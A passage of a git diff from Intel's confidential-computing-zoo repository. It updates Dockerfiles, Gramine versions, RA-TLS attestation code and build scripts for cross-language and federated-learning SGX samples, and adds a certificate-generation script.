] ; do echo $n; n=$(($n+1)); git clone https://github.com/intel/confidential-computing-zoo.git ${CLF_PATH} && break; sleep 1; done RUN cd ${CLF_PATH} \ - && git checkout ccp \ + && git checkout branch-dev/cross_lang_framework \ && echo "---build clf_client library---" \ && cd ${CLF_PATH}/cczoo/cross_lang_framework/clf_client/java \ && sed -i -r 's/(.*)(sudo )(.*)/\1\3/' Makefile \ - && GRAMINEDIR=/gramine make \ - && echo "---build sample app---" \ - && cd ${CLF_PATH}/cczoo/cross_lang_framework/clf_client/app \ - && git diff clf_test.java \ - && GRAMINEDIR=/gramine SGX_SIGNER_KEY=${HOME}/.config/gramine/enclave-key.pem make SGX=1 + && GRAMINEDIR=/gramine make # Workspace WORKDIR ${CLF_PATH}/cczoo/cross_lang_framework/clf_client/app diff --git a/cczoo/cross_lang_framework/docker/clf_client_app.dockerfile b/cczoo/cross_lang_framework/docker/clf_client_app.dockerfile new file mode 100644 index 00000000..44ea4188 --- /dev/null +++ b/cczoo/cross_lang_framework/docker/clf_client_app.dockerfile @@ -0,0 +1,39 @@ +# +# Copyright (c) 2022 Intel Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +ARG base_image=clf-client:gramine1.3-ubuntu20.04 +FROM ${base_image} + + +# Parent Image Env +ENV CLF_APP_FOLDER=/clf/cczoo/cross_lang_framework/clf_client +ENV GRAMINE_FOLDER=/gramine + +#-------------------------------- +# Build and Run Sample App +#-------------------------------- +ENV APP_PATH=/app_repo +# download app code, your should replace this with your app. +RUN n=0; until [ $n -ge 100 ] ; do echo $n; n=$(($n+1)); git clone https://github.com/intel/confidential-computing-zoo.git ${APP_PATH} && break; sleep 1; done +RUN cd ${CLF_APP_FOLDER} \ + && git checkout branch-dev/cross_lang_framework \ + && cp -rf ${APP_PATH}/cczoo/cross_lang_framework/clf_client/app ${CLF_APP_FOLDER}/ \ + && echo "---build sample app---" \ + && cd ${CLF_APP_FOLDER}/app \ + && GRAMINEDIR=${GRAMINE_FOLDER} SGX_SIGNER_KEY=${HOME}/.config/gramine/enclave-key.pem make SGX=1 + +# Workspace +WORKDIR ${CLF_APP_FOLDER}/app + diff --git a/cczoo/cross_lang_framework/docker/clf_server.dockerfile b/cczoo/cross_lang_framework/docker/clf_server.dockerfile index 49ca8d54..82e169e2 100644 --- a/cczoo/cross_lang_framework/docker/clf_server.dockerfile +++ b/cczoo/cross_lang_framework/docker/clf_server.dockerfile @@ -74,7 +74,7 @@ RUN apt-get update && apt-get install -y bison gawk nasm python3-click python3-j libgmp-dev libmpfr-dev libmpc-dev libisl-dev RUN pip3 install --upgrade pip \ - && pip3 install 'meson>=0.56' 'toml>=0.10' cryptography + && pip3 install 'meson>=0.56' 'toml>=0.10' # for debug, just copy gramine from local in case failed to clone from github #RUN mkdir -p ${GRAMINEDIR} @@ -152,7 +152,7 @@ RUN if [ ${PCCS_URL} != "default" ]; then \ #todo RUN n=0; until [ $n -ge 100 ] ; do echo $n; n=$(($n+1)); git clone https://github.com/intel/confidential-computing-zoo.git ${CLF_PATH} && break; sleep 1; done RUN cd ${CLF_PATH} \ - && git checkout ccp \ + && git checkout branch-dev/cross_lang_framework \ && echo "---build clf_server---" \ && cd ${CLF_PATH}/cczoo/cross_lang_framework/clf_server \ && GRAMINEDIR=/gramine make diff --git a/cczoo/cross_lang_framework/auto_install_clf.bash b/cczoo/cross_lang_framework/tools/auto_install_clf.bash similarity index 100% rename from cczoo/cross_lang_framework/auto_install_clf.bash rename to cczoo/cross_lang_framework/tools/auto_install_clf.bash diff --git a/cczoo/cross_lang_framework/tools/gen_cert.sh b/cczoo/cross_lang_framework/tools/gen_cert.sh new file mode 100755 index 00000000..d64056fd --- /dev/null +++ b/cczoo/cross_lang_framework/tools/gen_cert.sh @@ -0,0 +1,139 @@ +#!/bin/bash + +# +# Copyright (c) 2021 Intel Corporation +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +CA_KEY=ca_private_key.pem +CA_CERT=ca_cert.crt +CHILD_KEY=server_private_key.pem +CHILD_CERT=server_signed_cert.crt + +REQ_FILE=__my_cert_req.csr +EXT_FILE=__v3.ext +SRL_FILE=`echo ${CA_CERT} | awk -F '.' '{print $1}'`.srl + +# color +COLORLESS="\033[0m" +RED="\033[31m" +GREEN="\033[32m" +YELLOW="\033[33m" + +gen_root_cert() { + echo -e "\n=========================================" + echo -e "Generate Self-signed Root Certification:" + echo -e "=========================================" + openssl req -newkey rsa:2048 \ + -x509 \ + -sha256 \ + -days 3650 \ + -nodes \ + -out ${CA_CERT} \ + -keyout ${CA_KEY} +} + +gen_sign_req() { + echo -e "\n[Generate sign req]: ..." + openssl req -new -nodes \ + -newkey rsa:2048 \ + -keyout ${CHILD_KEY} \ + -out ${REQ_FILE} + echo -e "${GREEN}done${COLORLESS}" +} + +create_v3_ext() { + echo -e "\n[Creating ${EXT_FILE}]: ... \c" + echo -e "\ +authorityKeyIdentifier=keyid,issuer +basicConstraints=CA:FALSE +keyUsage=digitalSignature,nonRepudiation,keyEncipherment,dataEncipherment" >${EXT_FILE} + echo -e "${GREEN}... done${COLORLESS}" +} + +sign_child_cert() { + echo -e "\n[Sign child certification]: ..." + openssl x509 -req \ + -in ${REQ_FILE} \ + -days 365 \ + -extfile ${EXT_FILE} \ + -CA ${CA_CERT} \ + -CAkey ${CA_KEY} \ + -CAcreateserial \ + -out ${CHILD_CERT} + echo -e "${GREEN}... done${COLORLESS}" +} + +display_result() { + echo -e "\n* root private key:" + echo -e "$(find `pwd` -name ${CA_KEY})" + echo -e "* root certification:" + echo -e "$(find `pwd` -name ${CA_CERT})" + + echo -e "* child private key:" + echo -e "$(find `pwd` -name ${CHILD_KEY})" + echo -e "* child certification:" + echo -e "$(find `pwd` -name ${CHILD_CERT})" +} + +do_clean() { + rm ${REQ_FILE} + rm ${EXT_FILE} + rm ${SRL_FILE} +} + +generate_child_cert() { + echo -e "\n=========================================" + echo -e "Generate Child Certification" + echo -e "=========================================" + + create_v3_ext + + gen_sign_req + + sign_child_cert + + display_result + + do_clean +} + +helper() { + echo -e "./gen_cert.sh [-r] [-c]" + echo -e "-r\tGenerate root certification (e.g. ca_cert.crt), used in clf_client." | sed "s/./&\n\t/72;P;D" + echo -e "-c\tGenerate child certification and private key, used in clf_server." | sed "s/./&\n\t/72;P;D" + echo -e "\tRoot certification is used to sign the child certification, so root certification should be generated first.\ + The generated files should be put into folder clf_server/certs/, replace existing files:\ + (e.g. server_private_key.pem and server_signed_cert.crt)" | sed "s/./&\n\t/72;P;D" +} + +if [ $# -eq 0 ]; +then + helper +fi + +while getopts "hrc" OPT &> /dev/null ; do + case "$OPT" in + h) + helper + exit 0 ;; + r) + gen_root_cert ;; + c) + generate_child_cert ;; + *) + echo -e "Invalid Parameters." + helper + exit 1 ;; + esac +done diff --git a/cczoo/horizontal_fl/README.md b/cczoo/horizontal_fl/README.md index 52115ff8..a9db2717 100644 --- a/cczoo/horizontal_fl/README.md +++ b/cczoo/horizontal_fl/README.md @@ -143,31 +143,26 @@ If running locally, please fill in the local PCCS server address in ` -docker exec -it ps0 bash cd recommendation_system test-sgx.sh ps0 ``` ```shell ./start_container.sh worker0 -docker exec -it worker0 bash cd recommendation_system test-sgx.sh worker0 ``` ```shell ./start_container.sh worker1 -docker exec -it worker1 bash cd recommendation_system test-sgx.sh worker1 ``` ```shell ./start_container.sh worker2 -docker exec -it worker2 bash cd recommendation_system test-sgx.sh worker2 ``` ```shell ./start_container.sh worker3 -docker exec -it worker3 bash cd recommendation_system test-sgx.sh worker3 ``` @@ -207,19 +202,16 @@ Start three containers (ps0, worker0, worker1) and run the script for the corres If running locally, please fill in the local PCCS server address in ``. If running in the cloud (except for Microsoft Azure), please modify the `PCCS server address` in the `sgx_default_qcnl.conf` file and fill in the PCCS address of the cloud and ignore the `` parameter. ```shell ./start_container.sh ps0 latest -docker exec -it ps0 bash cd image_classification test-sgx.sh ps0 ``` ```shell ./start_container.sh worker0 latest -docker exec -it worker0 bash cd image_classification test-sgx.sh worker0 ``` ```shell ./start_container.sh worker1 latest -docker exec -it worker1 bash cd image_classification test-sgx.sh worker1 ``` diff --git a/cczoo/horizontal_fl/anolisos_horizontal_fl.dockerfile b/cczoo/horizontal_fl/anolisos_horizontal_fl.dockerfile index 45e13dd2..b3349798 100644 --- a/cczoo/horizontal_fl/anolisos_horizontal_fl.dockerfile +++ b/cczoo/horizontal_fl/anolisos_horizontal_fl.dockerfile @@ -43,7 +43,7 @@ RUN yum install -y --nogpgcheck sgx-dcap-pccs libsgx-dcap-default-qpl # Gramine ENV GRAMINEDIR=/gramine ENV SGX_DCAP_VERSION=DCAP_1.11 -ENV GRAMINE_VERSION=v1.2 +ENV GRAMINE_VERSION=v1.3.1 ENV ISGX_DRIVER_PATH=${GRAMINEDIR}/driver ENV PKG_CONFIG_PATH=/usr/local/lib64/pkgconfig/ ENV LC_ALL=C.UTF-8 LANG=C.UTF-8 @@ -53,14 +53,14 @@ ENV GRAMINE_PKGLIBDIR=/usr/local/lib64/gramine ENV ARCH_LIBDIR=/lib64 RUN yum install -y gawk bison python3-click python3-jinja2 golang ninja-build -RUN yum install -y openssl-devel protobuf-c-devel python3-protobuf protobuf-c-compiler +RUN yum install -y openssl-devel protobuf-c-devel python3-protobuf protobuf-c-compiler protobuf-compiler RUN yum install -y gmp-devel mpfr-devel libmpc-devel isl-devel nasm python3-devel mailcap RUN ln -s /usr/bin/python3 /usr/bin/python \ && pip3 install --upgrade pip \ - && pip3 install toml meson wheel cryptography paramiko + && pip3 install toml meson wheel cryptography paramiko pyelftools -RUN rm -rf ${GRAMINEDIR} && git clone https://github.com/gramineproject/gramine.git ${GRAMINEDIR} \ +RUN git clone https://github.com/gramineproject/gramine.git ${GRAMINEDIR} \ && cd ${GRAMINEDIR} \ && git checkout ${GRAMINE_VERSION} @@ -93,7 +93,7 @@ RUN cd ${GRAMINEDIR}/subprojects/cJSON*/ \ RUN cd /usr/bin && curl -fLO https://releases.bazel.build/3.1.0/release/bazel-3.1.0-linux-x86_64 && chmod +x bazel-3.1.0-linux-x86_64 # deps -RUN python3 -m pip install numpy keras_preprocessing cryptography pyelftools && pip3 install --upgrade pip setuptools==44.1.1 +RUN python3 -m pip install numpy keras_preprocessing cryptography && pip3 install --upgrade pip setuptools==44.1.1 # config and download TensorFlow ENV TF_VERSION=v2.4.2 diff --git a/cczoo/horizontal_fl/build_docker_image.sh b/cczoo/horizontal_fl/build_docker_image.sh index 3a7d0fa8..08142a5b 100755 --- a/cczoo/horizontal_fl/build_docker_image.sh +++ b/cczoo/horizontal_fl/build_docker_image.sh @@ -64,4 +64,4 @@ DOCKER_BUILDKIT=0 docker build \ --build-arg https_proxy=${proxy_server} \ --build-arg no_proxy=${no_proxy} \ --build-arg WORKLOAD=${workload} -fi +fi diff --git a/cczoo/horizontal_fl/horizontal_fl.dockerfile b/cczoo/horizontal_fl/horizontal_fl.dockerfile index 0c679c17..82826ee7 100644 --- a/cczoo/horizontal_fl/horizontal_fl.dockerfile +++ b/cczoo/horizontal_fl/horizontal_fl.dockerfile @@ -90,18 +90,18 @@ RUN if [ -z "$AZURE" ]; then \ # Gramine ENV GRAMINEDIR=/gramine ENV SGX_DCAP_VERSION=DCAP_1.11 -ENV GRAMINE_VERSION=v1.2 +ENV GRAMINE_VERSION=v1.3.1 ENV ISGX_DRIVER_PATH=${GRAMINEDIR}/driver ENV WERROR=1 ENV SGX=1 RUN apt-get install -y gawk bison python3-click python3-jinja2 golang ninja-build \ - libcurl4-openssl-dev libprotobuf-c-dev python3-protobuf protobuf-c-compiler \ + libcurl4-openssl-dev libprotobuf-c-dev python3-protobuf protobuf-c-compiler protobuf-compiler\ libgmp-dev libmpfr-dev libmpc-dev libisl-dev nasm RUN ln -s /usr/bin/python3 /usr/bin/python \ && pip3 install --upgrade pip \ - && pip3 install toml meson cryptography + && pip3 install toml meson cryptography pyelftools RUN git clone https://github.com/gramineproject/gramine.git ${GRAMINEDIR} \ && cd ${GRAMINEDIR} \ @@ -139,7 +139,7 @@ RUN wget "https://github.com/bazelbuild/bazel/releases/download/${BAZEL_VERSION} && dpkg -i bazel_*.deb # deps -RUN pip3 install numpy keras_preprocessing pandas sklearn matplotlib +RUN pip3 install numpy==1.23.5 keras_preprocessing pandas==1.5.2 scikit-learn==1.1.3 matplotlib # config and download TensorFlow ENV TF_VERSION=v2.4.2 @@ -186,7 +186,7 @@ RUN if [ "${BASE_IMAGE}" = "ubuntu:18.04" ]; then \ ARG BASE_IMAGE=ubuntu:20.04 RUN if [ "${BASE_IMAGE}" = "ubuntu:20.04" ] ; then \ - python -m pip install markupsafe==2.0.1 && pip install numpy --upgrade; \ + python -m pip install markupsafe==2.0.1 && pip install numpy==1.23.5 --upgrade; \ fi RUN if [ "$WORKLOAD" = "image_classification" ]; then \ diff --git a/cczoo/horizontal_fl/image_classification/Makefile b/cczoo/horizontal_fl/image_classification/Makefile index 5330cb1d..6c2fac4f 100644 --- a/cczoo/horizontal_fl/image_classification/Makefile +++ b/cczoo/horizontal_fl/image_classification/Makefile @@ -18,6 +18,8 @@ ARCH_LIBDIR ?= /lib/$(shell $(CC) -dumpmachine) # ENTRYPOINT ?= $(realpath $(shell sh -c "command -v python3")) +RA_TYPE ?= dcap + ifeq ($(DEBUG),1) GRAMINE_LOG_LEVEL = debug else @@ -35,6 +37,7 @@ endif python.manifest: python.manifest.template gramine-manifest \ -Dlog_level=$(GRAMINE_LOG_LEVEL) \ + -Dra_type=$(RA_TYPE) \ -Dentrypoint=$(realpath $(shell sh -c "command -v python3")) \ -Darch_libdir=$(ARCH_LIBDIR) \ $< >$@ diff --git a/cczoo/horizontal_fl/image_classification/anolisos.diff b/cczoo/horizontal_fl/image_classification/anolisos.diff index c722c5e3..dfd7a801 100644 --- a/cczoo/horizontal_fl/image_classification/anolisos.diff +++ b/cczoo/horizontal_fl/image_classification/anolisos.diff @@ -1,5 +1,5 @@ diff --git a./python.manifest.template b./python.manifest.template -index 82fba08..ebea650 100644 +index 82fba08..568f7a7 100644 --- a./python.manifest.template +++ b./python.manifest.template @@ -37,9 +37,10 @@ fs.mounts = [ diff --git a/cczoo/horizontal_fl/image_classification/python.manifest.template b/cczoo/horizontal_fl/image_classification/python.manifest.template index 82fba089..5107dd0e 100644 --- a/cczoo/horizontal_fl/image_classification/python.manifest.template +++ b/cczoo/horizontal_fl/image_classification/python.manifest.template @@ -47,7 +47,7 @@ sgx.debug = false sgx.nonpie_binary = true sgx.enclave_size = "8G" sgx.thread_num = 512 -sgx.remote_attestation = true +sgx.remote_attestation = "{{ ra_type }}" sgx.enable_stats = false # sgx.require_avx = true diff --git a/cczoo/horizontal_fl/image_classification/test-sgx.sh b/cczoo/horizontal_fl/image_classification/test-sgx.sh index 3bf9e282..e3bfb7f1 100755 --- a/cczoo/horizontal_fl/image_classification/test-sgx.sh +++ b/cczoo/horizontal_fl/image_classification/test-sgx.sh @@ -52,7 +52,7 @@ PS_HOSTS=$2 WORKER_HOSTS=$3 if [ "$ROLE" == "make" ]; then - make clean && make | make_logfilter + make clean && make RA_TYPE=dcap | make_logfilter elif [ "$ROLE" == "ps0" ]; then make_custom_env taskset -c 0-1 stdbuf -o0 gramine-sgx python -u train.py --task_index=0 --job_name=ps $PS_HOSTS $WORKER_HOSTS 2>&1 | runtime_logfilter | tee -a ps0-gramine-python.log & diff --git a/cczoo/horizontal_fl/patches/gramine/CI-Examples/ra-tls-mbedtls/src/client.c b/cczoo/horizontal_fl/patches/gramine/CI-Examples/ra-tls-mbedtls/src/client.c index e48f44c7..a6463349 100644 --- a/cczoo/horizontal_fl/patches/gramine/CI-Examples/ra-tls-mbedtls/src/client.c +++ b/cczoo/horizontal_fl/patches/gramine/CI-Examples/ra-tls-mbedtls/src/client.c @@ -21,7 +21,19 @@ * limitations under the License. */ -#include "mbedtls/config.h" +/* SPDX-License-Identifier: Apache-2.0 */ +/* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved + * 2020, Intel Labs + */ + +/* + * SSL client demonstration program (with RA-TLS). + * This program is originally based on an mbedTLS example ssl_client1.c but uses RA-TLS flows (SGX + * Remote Attestation flows) if RA-TLS library is required by user. + * Note that this program builds against mbedTLS 3.x. + */ + +#include "mbedtls/build_info.h" #include #include @@ -38,7 +50,6 @@ #define MBEDTLS_EXIT_SUCCESS EXIT_SUCCESS #define MBEDTLS_EXIT_FAILURE EXIT_FAILURE -#include "mbedtls/certs.h" #include "mbedtls/ctr_drbg.h" #include "mbedtls/debug.h" #include "mbedtls/entropy.h" @@ -46,8 +57,8 @@ #include "mbedtls/net_sockets.h" #include "mbedtls/ssl.h" -/* RA-TLS: on client, only need to register ra_tls_verify_callback() for cert verification */ -int (*ra_tls_verify_callback_f)(void* data, mbedtls_x509_crt* crt, int depth, uint32_t* flags); +/* RA-TLS: on client, only need to register ra_tls_verify_callback_der() for cert verification */ +int (*ra_tls_verify_callback_der_f)(uint8_t* der_crt, size_t der_crt_size); /* RA-TLS: if specified in command-line options, use our own callback to verify SGX measurements */ void (*ra_tls_set_measurement_callback_f)(int (*f_cb)(const char* mrenclave, const char* mrsigner, @@ -59,6 +70,8 @@ void (*ra_tls_set_measurement_callback_f)(int (*f_cb)(const char* mrenclave, con #define DEBUG_LEVEL 1 +#define CA_CRT_PATH "ssl/ca.crt" + static void my_debug(void* ctx, int level, const char* file, int line, const char* str) { ((void)level); @@ -140,6 +153,23 @@ static int my_verify_measurements(const char* mrenclave, const char* mrsigner, } } +/* RA-TLS: mbedTLS-specific callback to verify the x509 certificate */ +static int my_verify_callback(void* data, mbedtls_x509_crt* crt, int depth, uint32_t* flags) { + (void)data; + + if (depth != 0) { + /* the cert chain in RA-TLS consists of single self-signed cert, so we expect depth 0 */ + return MBEDTLS_ERR_X509_INVALID_FORMAT; + } + if (flags) { + /* mbedTLS sets flags to signal that the cert is not to be trusted (e.g., it is not + * correctly signed by a trusted CA; since RA-TLS uses self-signed certs, we don't care + * what mbedTLS thinks and ignore internal cert verification logic of mbedTLS */ + *flags = 0; + } + return ra_tls_verify_callback_der_f(crt->raw.p, crt->raw.len); +} + static bool getenv_client_inside_sgx() { char* str = getenv("RA_TLS_CLIENT_INSIDE_SGX"); if (!str) @@ -160,7 +190,7 @@ int main(int argc, char** argv) { char* error; void* ra_tls_verify_lib = NULL; - ra_tls_verify_callback_f = NULL; + ra_tls_verify_callback_der_f = NULL; ra_tls_set_measurement_callback_f = NULL; mbedtls_entropy_context entropy; @@ -202,7 +232,7 @@ int main(int argc, char** argv) { * RA-TLS verification with DCAP inside SGX enclave uses dummies instead of real * functions from libsgx_urts.so, thus we don't need to load this helper library. */ - ra_tls_verify_lib = dlopen("libra_tls_verify_dcap_graphene.so", RTLD_LAZY); + ra_tls_verify_lib = dlopen("libra_tls_verify_dcap_gramine.so", RTLD_LAZY); if (!ra_tls_verify_lib) { mbedtls_printf("%s\n", dlerror()); mbedtls_printf("User requested RA-TLS verification with DCAP inside SGX but cannot find lib\n"); @@ -228,7 +258,7 @@ int main(int argc, char** argv) { } if (ra_tls_verify_lib) { - ra_tls_verify_callback_f = dlsym(ra_tls_verify_lib, "ra_tls_verify_callback"); + ra_tls_verify_callback_der_f = dlsym(ra_tls_verify_lib, "ra_tls_verify_callback_der"); if ((error = dlerror()) != NULL) { mbedtls_printf("%s\n", error); return 1; @@ -347,10 +377,9 @@ int main(int argc, char** argv) { mbedtls_printf(" . Loading the CA root certificate ..."); fflush(stdout); - ret = mbedtls_x509_crt_parse(&cacert, (const unsigned char*)mbedtls_test_cas_pem, - mbedtls_test_cas_pem_len); + ret = mbedtls_x509_crt_parse_file(&cacert, CA_CRT_PATH); if (ret < 0) { - mbedtls_printf( " failed\n ! mbedtls_x509_crt_parse returned -0x%x\n\n", -ret ); + mbedtls_printf( " failed\n ! mbedtls_x509_crt_parse_file returned -0x%x\n\n", -ret ); goto exit; } @@ -361,7 +390,7 @@ int main(int argc, char** argv) { if (ra_tls_verify_lib) { /* use RA-TLS verification callback; this will overwrite CA chain set up above */ mbedtls_printf(" . Installing RA-TLS callback ..."); - mbedtls_ssl_conf_verify(&conf, ra_tls_verify_callback_f, NULL); + mbedtls_ssl_conf_verify(&conf, &my_verify_callback, NULL); mbedtls_printf(" ok\n"); } @@ -385,8 +414,6 @@ int main(int argc, char** argv) { mbedtls_printf(" . Performing the SSL/TLS handshake..."); fflush(stdout); - mbedtls_printf("\n******************* %s -> %s : %d ******************* \n", __FILE__, __FUNCTION__, __LINE__); - while ((ret = mbedtls_ssl_handshake(&ssl)) != 0) { if (ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE) { mbedtls_printf(" failed\n ! mbedtls_ssl_handshake returned -0x%x\n\n", -ret); @@ -394,8 +421,6 @@ int main(int argc, char** argv) { } } - mbedtls_printf("\n******************* %s -> %s : %d ******************* \n", __FILE__, __FUNCTION__, __LINE__); - mbedtls_printf(" ok\n"); mbedtls_printf(" . Verifying peer X.509 certificate..."); diff --git a/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_server.cc b/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_server.cc index 651bff10..9746f602 100644 --- a/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_server.cc +++ b/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_server.cc @@ -29,20 +29,36 @@ namespace sgx { // Server side is required to use a provider, because server always needs to use identity certs. ::grpc_impl::experimental::TlsKeyMaterialsConfig::PemKeyCertPair get_cred_key_pair() { - mbedtls_x509_crt srvcert; + mbedtls_x509_crt srvcert; mbedtls_pk_context pkey; + uint8_t* der_key = NULL; + uint8_t* der_crt = NULL; + mbedtls_x509_crt_init(&srvcert); mbedtls_pk_init(&pkey); library_engine ra_tls_attest_lib("libra_tls_attest.so", RTLD_LAZY); - auto ra_tls_create_key_and_crt_f = reinterpret_cast(ra_tls_attest_lib.get_func("ra_tls_create_key_and_crt")); + auto ra_tls_create_key_and_crt_der_f = reinterpret_cast(ra_tls_attest_lib.get_func("ra_tls_create_key_and_crt_der")); + + size_t der_key_size; + size_t der_crt_size; + + int ret = (*ra_tls_create_key_and_crt_der_f)(&der_key, &der_key_size, &der_crt, &der_crt_size); + if (ret != 0) { + throw std::runtime_error(std::string("ra_tls_create_key_and_crt_der_f failed and error %s\n\n", mbedtls_high_level_strerr(ret))); + } - int ret = (*ra_tls_create_key_and_crt_f)(&pkey, &srvcert); + ret = mbedtls_x509_crt_parse(&srvcert, (unsigned char*)der_crt, der_crt_size); if (ret != 0) { - throw std::runtime_error(std::string("ra_tls_create_key_and_crt failed and error %s\n\n", mbedtls_high_level_strerr(ret))); + throw std::runtime_error(std::string("mbedtls_x509_crt_parse_der failed and error %s\n\n", mbedtls_high_level_strerr(ret))); } + ret = mbedtls_pk_parse_key(&pkey, (unsigned char*)der_key, der_key_size,/*pwd=*/NULL, 0, NULL, NULL); + if (ret != 0) { + throw std::runtime_error(std::string("mbedtls_pk_parse_key failed and error %s\n\n", mbedtls_high_level_strerr(ret))); + } + unsigned char private_key_pem[16000], cert_pem[16000]; size_t olen; diff --git a/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_utils.h b/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_utils.h index 7f7cf0d1..e841948f 100644 --- a/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_utils.h +++ b/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_utils.h @@ -38,8 +38,6 @@ namespace grpc { namespace sgx { -#include -#include #include #include #include diff --git a/cczoo/horizontal_fl/recommendation_system/Makefile b/cczoo/horizontal_fl/recommendation_system/Makefile index 5330cb1d..6c2fac4f 100644 --- a/cczoo/horizontal_fl/recommendation_system/Makefile +++ b/cczoo/horizontal_fl/recommendation_system/Makefile @@ -18,6 +18,8 @@ ARCH_LIBDIR ?= /lib/$(shell $(CC) -dumpmachine) # ENTRYPOINT ?= $(realpath $(shell sh -c "command -v python3")) +RA_TYPE ?= dcap + ifeq ($(DEBUG),1) GRAMINE_LOG_LEVEL = debug else @@ -35,6 +37,7 @@ endif python.manifest: python.manifest.template gramine-manifest \ -Dlog_level=$(GRAMINE_LOG_LEVEL) \ + -Dra_type=$(RA_TYPE) \ -Dentrypoint=$(realpath $(shell sh -c "command -v python3")) \ -Darch_libdir=$(ARCH_LIBDIR) \ $< >$@ diff --git a/cczoo/horizontal_fl/recommendation_system/python.manifest.template b/cczoo/horizontal_fl/recommendation_system/python.manifest.template index e9deb9a1..d1b02987 100644 --- a/cczoo/horizontal_fl/recommendation_system/python.manifest.template +++ b/cczoo/horizontal_fl/recommendation_system/python.manifest.template @@ -47,7 +47,7 @@ sgx.debug = false sgx.nonpie_binary = true sgx.enclave_size = "32G" sgx.thread_num = 1024 -sgx.remote_attestation = true +sgx.remote_attestation = "{{ ra_type }}" sgx.enable_stats = false # sgx.require_avx = true diff --git a/cczoo/horizontal_fl/recommendation_system/test-sgx.sh b/cczoo/horizontal_fl/recommendation_system/test-sgx.sh index bbffef27..89d9e394 100755 --- a/cczoo/horizontal_fl/recommendation_system/test-sgx.sh +++ b/cczoo/horizontal_fl/recommendation_system/test-sgx.sh @@ -49,7 +49,7 @@ function make_custom_env() { ROLE=$1 if [ "$ROLE" == "make" ]; then - make clean && make | make_logfilter + make clean && make RA_TYPE=dcap | make_logfilter elif [ "$ROLE" == "ps0" ]; then make_custom_env taskset -c 0-8 stdbuf -o0 gramine-sgx python -u ps0.py 2>&1 | runtime_logfilter | tee -a ps0.log & diff --git a/cczoo/horizontal_fl/start_container.sh b/cczoo/horizontal_fl/start_container.sh index 85597cd8..4e731088 100755 --- a/cczoo/horizontal_fl/start_container.sh +++ b/cczoo/horizontal_fl/start_container.sh @@ -28,14 +28,10 @@ else ip_addr=127.0.0.1 fi -if [ ! -n "$3" ] ; then - tag=latest -else - tag=$3 -fi +tag=latest -if [ "$4" == "anolisos" ]; then -docker run -itd \ +if [ "$3" == "ubuntu" ] || [ ! -n "$3" ]; then +docker run -it \ --restart=always \ --cap-add=SYS_PTRACE \ --security-opt seccomp=unconfined \ @@ -62,4 +58,18 @@ docker run -itd \ --add-host=pccs.service.com:${ip_addr} \ horizontal_fl:${tag} \ bash +elif [ "$4" == "anolisos" ]; then +docker run -it \ + --restart=always \ + --cap-add=SYS_PTRACE \ + --security-opt seccomp=unconfined \ + --device=/dev/sgx_enclave:/dev/sgx/enclave \ + --device=/dev/sgx_provision:/dev/sgx/provision \ + --name=${name} \ + -v /var/run/aesmd/aesm.socket:/var/run/aesmd/aesm.socket \ + -v /home:/home/host-home \ + --net=host \ + --add-host=pccs.service.com:${ip_addr} \ + anolisos_horizontal_fl:${tag} \ + bash fi diff --git a/cczoo/machine_binding_key_backup/.gitignore b/cczoo/machine_binding_key_backup/.gitignore new file mode 100644 index 00000000..9d0a8c57 --- /dev/null +++ b/cczoo/machine_binding_key_backup/.gitignore @@ -0,0 +1,16 @@ +rkeyserver/App/enclave_u.* +rkeyserver/Enclave/enclave_t.* +rkeyserver/App/*.o +rkeyserver/Enclave/*.o + +utils/tkey_exchange/*.o +utils/tkey_exchange/sgx_tkey_exchange_t.* +utils/tkey_exchange/sgx_tkey_exchange_u.* +utils/ukey_exchange/*.o + +out/ + +.history/ +.vscode/ + +rkeyserver/App/auto_version.h diff --git a/cczoo/machine_binding_key_backup/Makefile b/cczoo/machine_binding_key_backup/Makefile new file mode 100644 index 00000000..bec503ec --- /dev/null +++ b/cczoo/machine_binding_key_backup/Makefile @@ -0,0 +1,45 @@ +# +# Copyright (c) 2022 Intel Corporation +# SPDX-License-Identifier: Apache-2.0 +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +include buildenv.mk + +SUB_DIR := utils/tkey_exchange utils/ukey_exchange rkeyserver + +.PHONY: all clean + +all: + for dir in $(SUB_DIR); do \ + $(MAKE) -C $$dir; \ + done + +ifeq ($(Build_Mode), HW_DEBUG) + @echo "The project has been built in hardware debug mode." +else ifeq ($(Build_Mode), HW_RELEAESE) + @echo "The project has been built in hardware release mode." +else ifeq ($(Build_Mode), HW_PRERELEAESE) + @echo "The project has been built in hardware pre-release mode." +else ifeq ($(Build_Mode), SIM_DEBUG) + @echo "The project has been built in simulation debug mode." +else ifeq ($(Build_Mode), SIM_RELEAESE) + @echo "The project has been built in 